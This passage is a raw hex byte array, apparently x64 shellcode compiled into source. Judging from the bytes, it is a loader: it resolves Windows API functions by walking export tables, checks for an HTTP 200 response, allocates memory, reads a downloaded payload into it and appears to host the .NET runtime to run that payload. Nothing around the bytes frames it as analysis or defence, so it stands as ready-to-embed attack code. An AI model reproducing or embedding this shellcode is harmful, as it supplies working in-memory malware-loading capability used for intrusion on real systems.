0x84, 0x51, 0x01, 0x00, 0x00, 0x48, 0x89, 0x5c, 0x24, 0x38, 0x48, 0x8d,
|
||||
0x97, 0xe8, 0x07, 0x00, 0x00, 0x89, 0x74, 0x24, 0x30, 0x4c, 0x8d, 0x85,
|
||||
0xb0, 0x00, 0x00, 0x00, 0x48, 0x89, 0x5c, 0x24, 0x28, 0x45, 0x33, 0xc9,
|
||||
0x48, 0x8b, 0xc8, 0x48, 0x89, 0x5c, 0x24, 0x20, 0xff, 0x97, 0x30, 0x01,
|
||||
0x00, 0x00, 0x48, 0x8b, 0xd8, 0x48, 0x85, 0xc0, 0x0f, 0x84, 0x0f, 0x01,
|
||||
0x00, 0x00, 0x45, 0x85, 0xe4, 0x74, 0x28, 0x0f, 0xba, 0xe6, 0x0c, 0x73,
|
||||
0x22, 0x45, 0x8d, 0x4e, 0x04, 0xc7, 0x85, 0x10, 0x02, 0x00, 0x00, 0x80,
|
||||
0x33, 0x00, 0x00, 0x4c, 0x8d, 0x85, 0x10, 0x02, 0x00, 0x00, 0x48, 0x8b,
|
||||
0xc8, 0x41, 0x8d, 0x56, 0x1f, 0xff, 0x97, 0x18, 0x01, 0x00, 0x00, 0x45,
|
||||
0x33, 0xe4, 0x45, 0x33, 0xc9, 0x45, 0x33, 0xc0, 0x44, 0x89, 0x64, 0x24,
|
||||
0x20, 0x33, 0xd2, 0x48, 0x8b, 0xcb, 0xff, 0x97, 0x38, 0x01, 0x00, 0x00,
|
||||
0x85, 0xc0, 0x0f, 0x84, 0xb8, 0x00, 0x00, 0x00, 0x4c, 0x8d, 0x8d, 0x00,
|
||||
0x02, 0x00, 0x00, 0xc7, 0x85, 0x00, 0x02, 0x00, 0x00, 0x04, 0x00, 0x00,
|
||||
0x00, 0x4c, 0x8d, 0x85, 0x08, 0x02, 0x00, 0x00, 0x4c, 0x89, 0x64, 0x24,
|
||||
0x20, 0xba, 0x13, 0x00, 0x00, 0x20, 0x48, 0x8b, 0xcb, 0xff, 0x97, 0x40,
|
||||
0x01, 0x00, 0x00, 0x85, 0xc0, 0x0f, 0x84, 0x85, 0x00, 0x00, 0x00, 0x81,
|
||||
0xbd, 0x08, 0x02, 0x00, 0x00, 0xc8, 0x00, 0x00, 0x00, 0x75, 0x79, 0x48,
|
||||
0x8d, 0xb7, 0x18, 0x09, 0x00, 0x00, 0xc7, 0x85, 0x00, 0x02, 0x00, 0x00,
|
||||
0x08, 0x00, 0x00, 0x00, 0x4c, 0x8b, 0xc6, 0x4c, 0x89, 0x26, 0x4c, 0x8d,
|
||||
0x8d, 0x00, 0x02, 0x00, 0x00, 0x4c, 0x89, 0x64, 0x24, 0x20, 0xba, 0x05,
|
||||
0x00, 0x00, 0x20, 0x48, 0x8b, 0xcb, 0xff, 0x97, 0x40, 0x01, 0x00, 0x00,
|
||||
0x85, 0xc0, 0x74, 0x44, 0x48, 0x8b, 0x16, 0x48, 0x85, 0xd2, 0x74, 0x3c,
|
||||
0x33, 0xc9, 0x45, 0x8d, 0x4c, 0x24, 0x04, 0x41, 0xb8, 0x00, 0x30, 0x00,
|
||||
0x00, 0xff, 0x57, 0x48, 0x48, 0x89, 0x87, 0x20, 0x09, 0x00, 0x00, 0x48,
|
||||
0x85, 0xc0, 0x74, 0x20, 0x44, 0x8b, 0x06, 0x4c, 0x8d, 0x8d, 0x18, 0x02,
|
||||
0x00, 0x00, 0x48, 0x8b, 0xd0, 0x44, 0x89, 0xa5, 0x18, 0x02, 0x00, 0x00,
|
||||
0x48, 0x8b, 0xcb, 0xff, 0x97, 0x20, 0x01, 0x00, 0x00, 0x44, 0x8b, 0xf0,
|
||||
0x48, 0x8b, 0xcb, 0xff, 0x97, 0x28, 0x01, 0x00, 0x00, 0x49, 0x8b, 0xcf,
|
||||
0xff, 0x97, 0x28, 0x01, 0x00, 0x00, 0x49, 0x8b, 0xcd, 0xff, 0x97, 0x28,
|
||||
0x01, 0x00, 0x00, 0x45, 0x85, 0xf6, 0x74, 0x46, 0x83, 0xbf, 0x34, 0x02,
|
||||
0x00, 0x00, 0x03, 0x75, 0x3d, 0x48, 0x8b, 0x9f, 0x20, 0x09, 0x00, 0x00,
|
||||
0x48, 0x8d, 0x97, 0x08, 0x09, 0x00, 0x00, 0x44, 0x8b, 0x8f, 0x18, 0x09,
|
||||
0x00, 0x00, 0x48, 0x8d, 0x8f, 0xf8, 0x08, 0x00, 0x00, 0x4c, 0x8b, 0xc3,
|
||||
0xe8, 0x3f, 0x1d, 0x00, 0x00, 0x48, 0x8b, 0x57, 0x28, 0x48, 0x8d, 0x8f,
|
||||
0xf0, 0x07, 0x00, 0x00, 0xe8, 0xef, 0x1b, 0x00, 0x00, 0x48, 0x3b, 0x83,
|
||||
0x18, 0x05, 0x00, 0x00, 0x75, 0x05, 0x41, 0x8b, 0xc6, 0xeb, 0x02, 0x33,
|
||||
0xc0, 0x48, 0x81, 0xc4, 0xb8, 0x02, 0x00, 0x00, 0x41, 0x5f, 0x41, 0x5e,
|
||||
0x41, 0x5d, 0x41, 0x5c, 0x5f, 0x5e, 0x5b, 0x5d, 0xc3, 0xcc, 0xcc, 0xcc,
|
||||
0x48, 0x89, 0x5c, 0x24, 0x08, 0x4c, 0x89, 0x44, 0x24, 0x18, 0x55, 0x56,
|
||||
0x57, 0x41, 0x54, 0x41, 0x55, 0x41, 0x56, 0x41, 0x57, 0x48, 0x8d, 0xac,
|
||||
0x24, 0xf0, 0xfe, 0xff, 0xff, 0x48, 0x81, 0xec, 0x10, 0x02, 0x00, 0x00,
|
||||
0x4c, 0x63, 0x72, 0x3c, 0x4d, 0x8b, 0xe9, 0x48, 0x8b, 0xda, 0x4c, 0x8b,
|
||||
0xe1, 0x41, 0x8b, 0x84, 0x16, 0x88, 0x00, 0x00, 0x00, 0x85, 0xc0, 0x0f,
|
||||
0x84, 0x95, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x3c, 0x02, 0x8b, 0x77, 0x18,
|
||||
0x85, 0xf6, 0x0f, 0x84, 0x86, 0x00, 0x00, 0x00, 0x8b, 0x47, 0x1c, 0x33,
|
||||
0xc9, 0x44, 0x8b, 0x47, 0x0c, 0x48, 0x03, 0xc2, 0x48, 0x89, 0x44, 0x24,
|
||||
0x30, 0x4c, 0x03, 0xc2, 0x8b, 0x47, 0x20, 0x48, 0x03, 0xc2, 0x48, 0x89,
|
||||
0x85, 0x58, 0x01, 0x00, 0x00, 0x8b, 0x47, 0x24, 0x48, 0x03, 0xc2, 0x48,
|
||||
0x89, 0x44, 0x24, 0x28, 0x41, 0x8a, 0x00, 0x84, 0xc0, 0x74, 0x14, 0x33,
|
||||
0xd2, 0xff, 0xc1, 0x0c, 0x20, 0x88, 0x44, 0x15, 0x00, 0x8b, 0xd1, 0x42,
|
||||
0x8a, 0x04, 0x01, 0x84, 0xc0, 0x75, 0xee, 0xc6, 0x44, 0x0d, 0x00, 0x00,
|
||||
0x49, 0x8b, 0xd5, 0x48, 0x8d, 0x4d, 0x00, 0xe8, 0x20, 0x1b, 0x00, 0x00,
|
||||
0x48, 0x89, 0x44, 0x24, 0x20, 0x48, 0x8b, 0x85, 0x58, 0x01, 0x00, 0x00,
|
||||
0xff, 0xce, 0x49, 0x8b, 0xd5, 0x8b, 0x0c, 0xb0, 0x48, 0x03, 0xcb, 0xe8,
|
||||
0x04, 0x1b, 0x00, 0x00, 0x48, 0x33, 0x44, 0x24, 0x20, 0x48, 0x3b, 0x85,
|
||||
0x60, 0x01, 0x00, 0x00, 0x74, 0x21, 0x85, 0xf6, 0x75, 0xd7, 0x33, 0xc0,
|
||||
0x48, 0x8b, 0x9c, 0x24, 0x50, 0x02, 0x00, 0x00, 0x48, 0x81, 0xc4, 0x10,
|
||||
0x02, 0x00, 0x00, 0x41, 0x5f, 0x41, 0x5e, 0x41, 0x5d, 0x41, 0x5c, 0x5f,
|
||||
0x5e, 0x5d, 0xc3, 0x48, 0x8b, 0x44, 0x24, 0x28, 0x48, 0x8b, 0x4c, 0x24,
|
||||
0x30, 0x0f, 0xb7, 0x04, 0x70, 0x44, 0x8b, 0x04, 0x81, 0x4c, 0x03, 0xc3,
|
||||
0x4c, 0x3b, 0xc7, 0x0f, 0x82, 0xaf, 0x00, 0x00, 0x00, 0x41, 0x8b, 0x84,
|
||||
0x1e, 0x8c, 0x00, 0x00, 0x00, 0x48, 0x03, 0xc7, 0x4c, 0x3b, 0xc0, 0x0f,
|
||||
0x83, 0x9b, 0x00, 0x00, 0x00, 0x33, 0xdb, 0x44, 0x8b, 0xcb, 0x41, 0x38,
|
||||
0x18, 0x74, 0x21, 0x41, 0x83, 0xf9, 0x3c, 0x73, 0x1b, 0x41, 0x8b, 0xc9,
|
||||
0x42, 0x8a, 0x04, 0x01, 0x88, 0x44, 0x0c, 0x40, 0x42, 0x80, 0x3c, 0x01,
|
||||
0x2e, 0x74, 0x09, 0x41, 0xff, 0xc1, 0x43, 0x38, 0x1c, 0x01, 0x75, 0xdf,
|
||||
0x41, 0x8d, 0x41, 0x01, 0x8b, 0xd0, 0xc6, 0x44, 0x04, 0x40, 0x64, 0x41,
|
||||
0x8d, 0x41, 0x02, 0xc6, 0x44, 0x04, 0x40, 0x6c, 0x41, 0x8d, 0x41, 0x03,
|
||||
0xc6, 0x44, 0x04, 0x40, 0x6c, 0x41, 0x8d, 0x41, 0x04, 0x4e, 0x8d, 0x0c,
|
||||
0x02, 0x88, 0x5c, 0x04, 0x40, 0x8b, 0xd3, 0x41, 0x38, 0x19, 0x74, 0x17,
|
||||
0x83, 0xfa, 0x7f, 0x73, 0x12, 0x8b, 0xca, 0xff, 0xc2, 0x42, 0x8a, 0x04,
|
||||
0x09, 0x88, 0x44, 0x0d, 0x80, 0x42, 0x38, 0x1c, 0x0a, 0x75, 0xe9, 0x8b,
|
||||
0xc2, 0x48, 0x8d, 0x4c, 0x24, 0x40, 0x88, 0x5c, 0x05, 0x80, 0x41, 0xff,
|
||||
0x54, 0x24, 0x30, 0x48, 0x85, 0xc0, 0x74, 0x11, 0x48, 0x8d, 0x55, 0x80,
|
||||
0x48, 0x8b, 0xc8, 0x41, 0xff, 0x54, 0x24, 0x38, 0x4c, 0x8b, 0xc0, 0xeb,
|
||||
0x03, 0x4c, 0x8b, 0xc3, 0x49, 0x8b, 0xc0, 0xe9, 0x10, 0xff, 0xff, 0xff,
|
||||
0x40, 0x53, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8b, 0x4a, 0x30, 0x48, 0x8b,
|
||||
0xda, 0x48, 0x85, 0xc9, 0x74, 0x0b, 0x48, 0x8b, 0x01, 0xff, 0x50, 0x10,
|
||||
0x48, 0x83, 0x63, 0x30, 0x00, 0x48, 0x8b, 0x4b, 0x38, 0x48, 0x85, 0xc9,
|
||||
0x74, 0x0b, 0x48, 0x8b, 0x01, 0xff, 0x50, 0x10, 0x48, 0x83, 0x63, 0x38,
|
||||
0x00, 0x48, 0x8b, 0x4b, 0x28, 0x48, 0x85, 0xc9, 0x74, 0x0b, 0x48, 0x8b,
|
||||
0x01, 0xff, 0x50, 0x10, 0x48, 0x83, 0x63, 0x28, 0x00, 0x48, 0x8b, 0x4b,
|
||||
0x20, 0x48, 0x85, 0xc9, 0x74, 0x0b, 0x48, 0x8b, 0x01, 0xff, 0x50, 0x10,
|
||||
0x48, 0x83, 0x63, 0x20, 0x00, 0x48, 0x8b, 0x4b, 0x18, 0x48, 0x85, 0xc9,
|
||||
0x74, 0x0b, 0x48, 0x8b, 0x01, 0xff, 0x50, 0x10, 0x48, 0x83, 0x63, 0x18,
|
||||
0x00, 0x48, 0x8b, 0x4b, 0x10, 0x48, 0x85, 0xc9, 0x74, 0x15, 0x48, 0x8b,
|
||||
0x01, 0xff, 0x50, 0x58, 0x48, 0x8b, 0x4b, 0x10, 0x48, 0x8b, 0x01, 0xff,
|
||||
0x50, 0x10, 0x48, 0x83, 0x63, 0x10, 0x00, 0x48, 0x8b, 0x4b, 0x08, 0x48,
|
||||
0x85, 0xc9, 0x74, 0x0b, 0x48, 0x8b, 0x01, 0xff, 0x50, 0x10, 0x48, 0x83,
|
||||
0x63, 0x08, 0x00, 0x48, 0x8b, 0x0b, 0x48, 0x85, 0xc9, 0x74, 0x0a, 0x48,
|
||||
0x8b, 0x01, 0xff, 0x50, 0x10, 0x48, 0x83, 0x23, 0x00, 0x48, 0x83, 0xc4,
|
||||
0x20, 0x5b, 0xc3, 0xcc, 0xf0, 0xff, 0x41, 0x20, 0x8b, 0x41, 0x20, 0xc3,
|
||||
0x48, 0x8b, 0x49, 0x10, 0x45, 0x8b, 0xd1, 0x4c, 0x8b, 0x4c, 0x24, 0x30,
|
||||
0x49, 0x8b, 0xd0, 0x45, 0x8b, 0xc2, 0x48, 0x8b, 0x01, 0x48, 0xff, 0x60,
|
||||
0x50, 0xcc, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, 0x08, 0x57, 0x48, 0x83,
|
||||
0xec, 0x20, 0x49, 0x8b, 0xd9, 0x48, 0x8b, 0xf9, 0x4d, 0x85, 0xc9, 0x75,
|
||||
0x07, 0xb8, 0x03, 0x40, 0x00, 0x80, 0xeb, 0x13, 0x48, 0x8b, 0x49, 0x10,
|
||||
0x48, 0x8b, 0x01, 0xff, 0x50, 0x08, 0x48, 0x8b, 0x47, 0x10, 0x48, 0x89,
|
||||
0x03, 0x33, 0xc0, 0x48, 0x8b, 0x5c, 0x24, 0x30, 0x48, 0x83, 0xc4, 0x20,
|
||||
0x5f, 0xc3, 0xcc, 0xcc, 0x48, 0x85, 0xd2, 0x75, 0x06, 0xb8, 0x03, 0x40,
|
||||
0x00, 0x80, 0xc3, 0xc7, 0x02, 0x01, 0x00, 0x00, 0x00, 0x33, 0xc0, 0xc3,
|
||||
0x48, 0x83, 0xec, 0x48, 0x48, 0x8b, 0x84, 0x24, 0x90, 0x00, 0x00, 0x00,
|
||||
0x4c, 0x8b, 0xd9, 0x48, 0x8b, 0x49, 0x10, 0x44, 0x8b, 0xc2, 0x44, 0x0f,
|
||||
0xb7, 0x4c, 0x24, 0x70, 0x49, 0x8b, 0xd3, 0x48, 0x89, 0x44, 0x24, 0x38,
|
||||
0x48, 0x8b, 0x84, 0x24, 0x88, 0x00, 0x00, 0x00, 0x4c, 0x8b, 0x11, 0x48,
|
||||
0x89, 0x44, 0x24, 0x30, 0x48, 0x8b, 0x84, 0x24, 0x80, 0x00, 0x00, 0x00,
|
||||
0x48, 0x89, 0x44, 0x24, 0x28, 0x48, 0x8b, 0x44, 0x24, 0x78, 0x48, 0x89,
|
||||
0x44, 0x24, 0x20, 0x41, 0xff, 0x52, 0x58, 0x48, 0x83, 0xc4, 0x48, 0xc3,
|
||||
0x48, 0x89, 0x5c, 0x24, 0x08, 0x48, 0x89, 0x74, 0x24, 0x10, 0x57, 0x48,
|
||||
0x81, 0xec, 0x40, 0x02, 0x00, 0x00, 0x48, 0x8b, 0x02, 0x48, 0x8b, 0xf9,
|
||||
0x48, 0x8d, 0x0d, 0x31, 0x02, 0x00, 0x00, 0x48, 0x8b, 0xda, 0x48, 0x89,
|
||||
0x08, 0x48, 0x8d, 0x0d, 0x0c, 0xff, 0xff, 0xff, 0x48, 0x8b, 0x02, 0x48,
|
||||
0x89, 0x48, 0x08, 0x48, 0x8d, 0x0d, 0xa6, 0x02, 0x00, 0x00, 0x48, 0x8b,
|
||||
0x02, 0x48, 0x89, 0x48, 0x10, 0x48, 0x8d, 0x0d, 0x50, 0xff, 0xff, 0xff,
|
||||
0x48, 0x8b, 0x02, 0x48, 0x89, 0x48, 0x18, 0x48, 0x8d, 0x0d, 0x06, 0xff,
|
||||
0xff, 0xff, 0x48, 0x8b, 0x02, 0x48, 0x89, 0x48, 0x20, 0x48, 0x8d, 0x0d,
|
||||
0xdc, 0xfe, 0xff, 0xff, 0x48, 0x8b, 0x02, 0x48, 0x89, 0x48, 0x28, 0x48,
|
||||
0x8d, 0x0d, 0x3a, 0xff, 0xff, 0xff, 0x48, 0x8b, 0x02, 0x48, 0x89, 0x48,
|
||||
0x30, 0x48, 0x8d, 0x0d, 0xb4, 0xf5, 0xff, 0xff, 0x48, 0x8b, 0x02, 0x48,
|
||||
0x89, 0x48, 0x38, 0x48, 0x8d, 0x0d, 0x3a, 0xf5, 0xff, 0xff, 0x48, 0x8b,
|
||||
0x02, 0x48, 0x89, 0x48, 0x40, 0x48, 0x8d, 0x0d, 0x2c, 0xf5, 0xff, 0xff,
|
||||
0x48, 0x8b, 0x02, 0x48, 0x89, 0x48, 0x48, 0x48, 0x8d, 0x0d, 0x1e, 0xf5,
|
||||
0xff, 0xff, 0x48, 0x8b, 0x02, 0x48, 0x89, 0x48, 0x50, 0x48, 0x8d, 0x0d,
|
||||
0x10, 0xf5, 0xff, 0xff, 0x48, 0x8b, 0x02, 0x48, 0x89, 0x48, 0x58, 0x48,
|
||||
0x8d, 0x0d, 0x02, 0xf5, 0xff, 0xff, 0x48, 0x8b, 0x02, 0x48, 0x89, 0x48,
|
||||
0x60, 0x48, 0x8d, 0x0d, 0xec, 0x01, 0x00, 0x00, 0x48, 0x8b, 0x02, 0x48,
|
||||
0x89, 0x48, 0x68, 0x48, 0x8d, 0x0d, 0xe6, 0xf4, 0xff, 0xff, 0x48, 0x8b,
|
||||
0x02, 0x48, 0x89, 0x48, 0x70, 0x48, 0x8d, 0x0d, 0xd8, 0xf4, 0xff, 0xff,
|
||||
0x48, 0x8b, 0x02, 0x48, 0x89, 0x48, 0x78, 0x48, 0x8d, 0x0d, 0xca, 0xf4,
|
||||
0xff, 0xff, 0x48, 0x8b, 0x02, 0x48, 0x89, 0x88, 0x80, 0x00, 0x00, 0x00,
|
||||
0x48, 0x8d, 0x0d, 0xb9, 0xf4, 0xff, 0xff, 0x48, 0x8b, 0x02, 0x48, 0x89,
|
||||
0x88, 0x88, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x0d, 0xa8, 0xf4, 0xff, 0xff,
|
||||
0x48, 0x8b, 0x02, 0x48, 0x89, 0x88, 0x90, 0x00, 0x00, 0x00, 0x48, 0x8d,
|
||||
0x0d, 0x97, 0xf4, 0xff, 0xff, 0x48, 0x8b, 0x02, 0x48, 0x89, 0x88, 0x98,
|
||||
0x00, 0x00, 0x00, 0x48, 0x8d, 0x0d, 0x86, 0xf4, 0xff, 0xff, 0x48, 0x8b,
|
||||
0x02, 0x48, 0x89, 0x88, 0xa0, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x0d, 0x75,
|
||||
0xf4, 0xff, 0xff, 0x48, 0x8b, 0x02, 0x48, 0x89, 0x88, 0xa8, 0x00, 0x00,
|
||||
0x00, 0x48, 0x8d, 0x0d, 0x64, 0xf4, 0xff, 0xff, 0x48, 0x8b, 0x02, 0x48,
|
||||
0x89, 0x88, 0xb0, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x0d, 0x53, 0xf4, 0xff,
|
||||
0xff, 0x48, 0x8b, 0x02, 0x48, 0x89, 0x88, 0xb8, 0x00, 0x00, 0x00, 0x48,
|
||||
0x8d, 0x0d, 0x42, 0xf4, 0xff, 0xff, 0x48, 0x8b, 0x02, 0x48, 0x89, 0x88,
|
||||
0xc0, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x0d, 0x55, 0x01, 0x00, 0x00, 0x48,
|
||||
0x8b, 0x02, 0x48, 0x89, 0x88, 0xc8, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x02,
|
||||
0x48, 0x8d, 0x0d, 0x1d, 0xf4, 0xff, 0xff, 0xc7, 0x44, 0x24, 0x28, 0x00,
|
||||
0x01, 0x00, 0x00, 0x48, 0x89, 0x88, 0xd0, 0x00, 0x00, 0x00, 0x4c, 0x8d,
|
||||
0x87, 0xe8, 0x05, 0x00, 0x00, 0x48, 0x8b, 0x02, 0x48, 0x8d, 0x0d, 0xfd,
|
||||
0xf3, 0xff, 0xff, 0x41, 0x83, 0xc9, 0xff, 0x48, 0x89, 0x88, 0xd8, 0x00,
|
||||
0x00, 0x00, 0x48, 0x8d, 0x0d, 0xeb, 0xf3, 0xff, 0xff, 0x48, 0x8b, 0x02,
|
||||
0x48, 0x89, 0x88, 0xe0, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x0d, 0xda, 0xf3,
|
||||
0xff, 0xff, 0x48, 0x8b, 0x02, 0x48, 0x89, 0x88, 0xe8, 0x00, 0x00, 0x00,
|
||||
0x48, 0x8d, 0x44, 0x24, 0x30, 0x83, 0x62, 0x20, 0x00, 0x33, 0xc9, 0x48,
|
||||
0x89, 0x7a, 0x28, 0x33, 0xd2, 0x48, 0x89, 0x44, 0x24, 0x20, 0xff, 0x57,
|
||||
0x70, 0x48, 0x8d, 0x53, 0x08, 0x48, 0x8d, 0x4c, 0x24, 0x30, 0xff, 0x97,
|
||||
0xf8, 0x00, 0x00, 0x00, 0x85, 0xc0, 0x75, 0x15, 0x48, 0x8b, 0x4b, 0x08,
|
||||
0x4c, 0x8d, 0x43, 0x10, 0x48, 0x8d, 0x97, 0x84, 0x06, 0x00, 0x00, 0x48,
|
||||
0x8b, 0x01, 0xff, 0x50, 0x30, 0x4c, 0x8d, 0x9c, 0x24, 0x40, 0x02, 0x00,
|
||||
0x00, 0x49, 0x8b, 0x5b, 0x10, 0x49, 0x8b, 0x73, 0x18, 0x49, 0x8b, 0xe3,
|
||||
0x5f, 0xc3, 0xcc, 0xcc, 0x4c, 0x8b, 0xc9, 0x4d, 0x85, 0xc0, 0x75, 0x06,
|
||||
0xb8, 0x03, 0x40, 0x00, 0x80, 0xc3, 0x48, 0x8b, 0x49, 0x28, 0x48, 0x8b,
|
||||
0x81, 0xf4, 0x05, 0x00, 0x00, 0x48, 0x3b, 0x02, 0x75, 0x0d, 0x48, 0x8b,
|
||||
0x81, 0xfc, 0x05, 0x00, 0x00, 0x48, 0x3b, 0x42, 0x08, 0x74, 0x32, 0x48,
|
||||
0x8b, 0x81, 0x04, 0x06, 0x00, 0x00, 0x48, 0x3b, 0x02, 0x75, 0x0d, 0x48,
|
||||
0x8b, 0x81, 0x0c, 0x06, 0x00, 0x00, 0x48, 0x3b, 0x42, 0x08, 0x74, 0x19,
|
||||
0x48, 0x8b, 0x81, 0x84, 0x06, 0x00, 0x00, 0x48, 0x3b, 0x02, 0x75, 0x13,
|
||||
0x48, 0x8b, 0x81, 0x8c, 0x06, 0x00, 0x00, 0x48, 0x3b, 0x42, 0x08, 0x75,
|
||||
0x06, 0x4d, 0x89, 0x08, 0x33, 0xc0, 0xc3, 0x49, 0x83, 0x20, 0x00, 0xb8,
|
||||
0x02, 0x40, 0x00, 0x80, 0xc3, 0xcc, 0xcc, 0xcc, 0x48, 0x83, 0xec, 0x28,
|
||||
0x48, 0x8b, 0x49, 0x18, 0x45, 0x33, 0xc9, 0x45, 0x33, 0xc0, 0xba, 0xfd,
|
||||
0xff, 0xff, 0xff, 0x48, 0x8b, 0x01, 0xff, 0x50, 0x70, 0x33, 0xc0, 0x48,
|
||||
0x83, 0xc4, 0x28, 0xc3, 0x83, 0xc8, 0xff, 0xf0, 0x0f, 0xc1, 0x41, 0x20,
|
||||
0xff, 0xc8, 0xc3, 0xcc, 0x48, 0x83, 0xec, 0x28, 0x48, 0x8b, 0x41, 0x28,
|
||||
0x8b, 0xca, 0xff, 0x50, 0x68, 0x33, 0xc0, 0x48, 0x83, 0xc4, 0x28, 0xc3,
|
||||
0x48, 0x89, 0x5c, 0x24, 0x08, 0x57, 0x48, 0x81, 0xec, 0xa0, 0x00, 0x00,
|
||||
0x00, 0x48, 0x8b, 0xfa, 0x48, 0x8d, 0x99, 0x6c, 0x04, 0x00, 0x00, 0x8a,
|
||||
0x03, 0x45, 0x33, 0xc9, 0x45, 0x33, 0xc0, 0x84, 0xc0, 0x74, 0x56, 0x48,
|
||||
0x8d, 0x54, 0x24, 0x20, 0x48, 0x8b, 0xcb, 0x48, 0x2b, 0xd3, 0x3c, 0x3b,
|
||||
0x74, 0x1b, 0x49, 0x81, 0xf8, 0x80, 0x00, 0x00, 0x00, 0x7d, 0x12, 0x88,
|
||||
0x04, 0x11, 0x41, 0xff, 0xc1, 0x48, 0xff, 0xc1, 0x49, 0xff, 0xc0, 0x8a,
|
||||
0x01, 0x84, 0xc0, 0x75, 0xe1, 0x4d, 0x85, 0xc0, 0x74, 0x27, 0x49, 0x63,
|
||||
0xc9, 0x48, 0x8b, 0xd7, 0x48, 0xff, 0xc1, 0x42, 0xc6, 0x44, 0x04, 0x20,
|
||||
0x00, 0x48, 0x03, 0xd9, 0x48, 0x8d, 0x4c, 0x24, 0x20, 0xe8, 0x5a, 0x1a,
|
||||
0x00, 0x00, 0x85, 0xc0, 0x75, 0xa5, 0xb8, 0x01, 0x00, 0x00, 0x00, 0xeb,
|
||||
0x02, 0x33, 0xc0, 0x48, 0x8b, 0x9c, 0x24, 0xb0, 0x00, 0x00, 0x00, 0x48,
|
||||
0x81, 0xc4, 0xa0, 0x00, 0x00, 0x00, 0x5f, 0xc3, 0x40, 0x53, 0x48, 0x83,
|
||||
0xec, 0x50, 0x33, 0xdb, 0x48, 0x8b, 0xc2, 0x4c, 0x8b, 0xc9, 0x48, 0x85,
|
||||
0xd2, 0x74, 0x37, 0x44, 0x8d, 0x43, 0x30, 0x48, 0x8b, 0xc8, 0x48, 0x8d,
|
||||
0x54, 0x24, 0x20, 0x41, 0xff, 0x51, 0x58, 0x83, 0xf8, 0x30, 0x75, 0x22,
|
||||
0x81, 0x7c, 0x24, 0x40, 0x00, 0x10, 0x00, 0x00, 0x75, 0x14, 0x81, 0x7c,
|
||||
0x24, 0x48, 0x00, 0x00, 0x02, 0x00, 0x75, 0x0a, 0x83, 0x7c, 0x24, 0x44,
|
||||
0x04, 0x75, 0x03, 0x8d, 0x58, 0xd1, 0x8b, 0xc3, 0xeb, 0x02, 0x33, 0xc0,
|
||||
0x48, 0x83, 0xc4, 0x50, 0x5b, 0xc3, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24,
|
||||
0x10, 0x48, 0x89, 0x6c, 0x24, 0x18, 0x56, 0x57, 0x41, 0x54, 0x41, 0x56,
|
||||
0x41, 0x57, 0x48, 0x81, 0xec, 0x30, 0x02, 0x00, 0x00, 0x4c, 0x8b, 0x89,
|
||||
0x50, 0x01, 0x00, 0x00, 0x33, 0xc0, 0x45, 0x33, 0xff, 0x41, 0x83, 0xcc,
|
||||
0xff, 0x4d, 0x8b, 0xf0, 0x48, 0x8b, 0xea, 0x48, 0x8b, 0xf1, 0xbf, 0x00,
|
||||
0x01, 0x00, 0x00, 0x4d, 0x85, 0xc9, 0x0f, 0x84, 0x03, 0x02, 0x00, 0x00,
|
||||
0x48, 0x8d, 0x91, 0x24, 0x06, 0x00, 0x00, 0x48, 0x81, 0xc1, 0x14, 0x06,
|
||||
0x00, 0x00, 0x41, 0xff, 0xd1, 0x85, 0xc0, 0x0f, 0x88, 0xc6, 0x01, 0x00,
|
||||
0x00, 0x48, 0x8d, 0x44, 0x24, 0x30, 0x89, 0x7c, 0x24, 0x28, 0x4c, 0x8d,
|
||||
0x45, 0x0c, 0x48, 0x89, 0x44, 0x24, 0x20, 0x45, 0x8b, 0xcc, 0x33, 0xd2,
|
||||
0x33, 0xc9, 0xff, 0x56, 0x70, 0x49, 0x8b, 0x0e, 0x49, 0x8d, 0x5e, 0x08,
|
||||
0x4c, 0x8d, 0x86, 0x34, 0x06, 0x00, 0x00, 0x4c, 0x8b, 0xcb, 0x48, 0x8d,
|
||||
0x54, 0x24, 0x30, 0x48, 0x8b, 0x01, 0xff, 0x50, 0x18, 0x85, 0xc0, 0x78,
|
||||
0x40, 0x48, 0x8b, 0x0b, 0x48, 0x8d, 0x94, 0x24, 0x60, 0x02, 0x00, 0x00,
|
||||
0x48, 0x8b, 0x01, 0xff, 0x50, 0x50, 0x85, 0xc0, 0x0f, 0x88, 0x74, 0x01,
|
||||
0x00, 0x00, 0x44, 0x39, 0xbc, 0x24, 0x60, 0x02, 0x00, 0x00, 0x74, 0x20,
|
||||
0x48, 0x8b, 0x0b, 0x4d, 0x8d, 0x4e, 0x10, 0x4c, 0x8d, 0x86, 0x54, 0x06,
|
||||
0x00, 0x00, 0x48, 0x8d, 0x96, 0x44, 0x06, 0x00, 0x00, 0x48, 0x8b, 0x01,
|
||||
0xff, 0x50, 0x48, 0xeb, 0x03, 0x4c, 0x21, 0x3b, 0x85, 0xc0, 0x0f, 0x88,
|
||||
0x42, 0x01, 0x00, 0x00, 0x49, 0x8b, 0x4e, 0x10, 0x48, 0x8b, 0x01, 0xff,
|
||||
0x50, 0x50, 0x85, 0xc0, 0x0f, 0x88, 0x0e, 0x01, 0x00, 0x00, 0x48, 0x8d,
|
||||
0x44, 0x24, 0x30, 0x89, 0x7c, 0x24, 0x28, 0x4c, 0x8d, 0x85, 0x0c, 0x01,
|
||||
0x00, 0x00, 0x48, 0x89, 0x44, 0x24, 0x20, 0x45, 0x8b, 0xcc, 0x33, 0xd2,
|
||||
0x33, 0xc9, 0xff, 0x56, 0x70, 0x48, 0x8d, 0x4c, 0x24, 0x30, 0xff, 0x96,
|
||||
0xe8, 0x00, 0x00, 0x00, 0x49, 0x8b, 0x4e, 0x10, 0x4d, 0x8d, 0x4e, 0x18,
|
||||
0x45, 0x33, 0xc0, 0x48, 0x8b, 0xd0, 0x48, 0x8b, 0xf8, 0x4c, 0x8b, 0x11,
|
||||
0x41, 0xff, 0x52, 0x60, 0x48, 0x8b, 0xcf, 0x8b, 0xd8, 0xff, 0x96, 0xf0,
|
||||
0x00, 0x00, 0x00, 0x85, 0xdb, 0x0f, 0x88, 0xb9, 0x00, 0x00, 0x00, 0x49,
|
||||
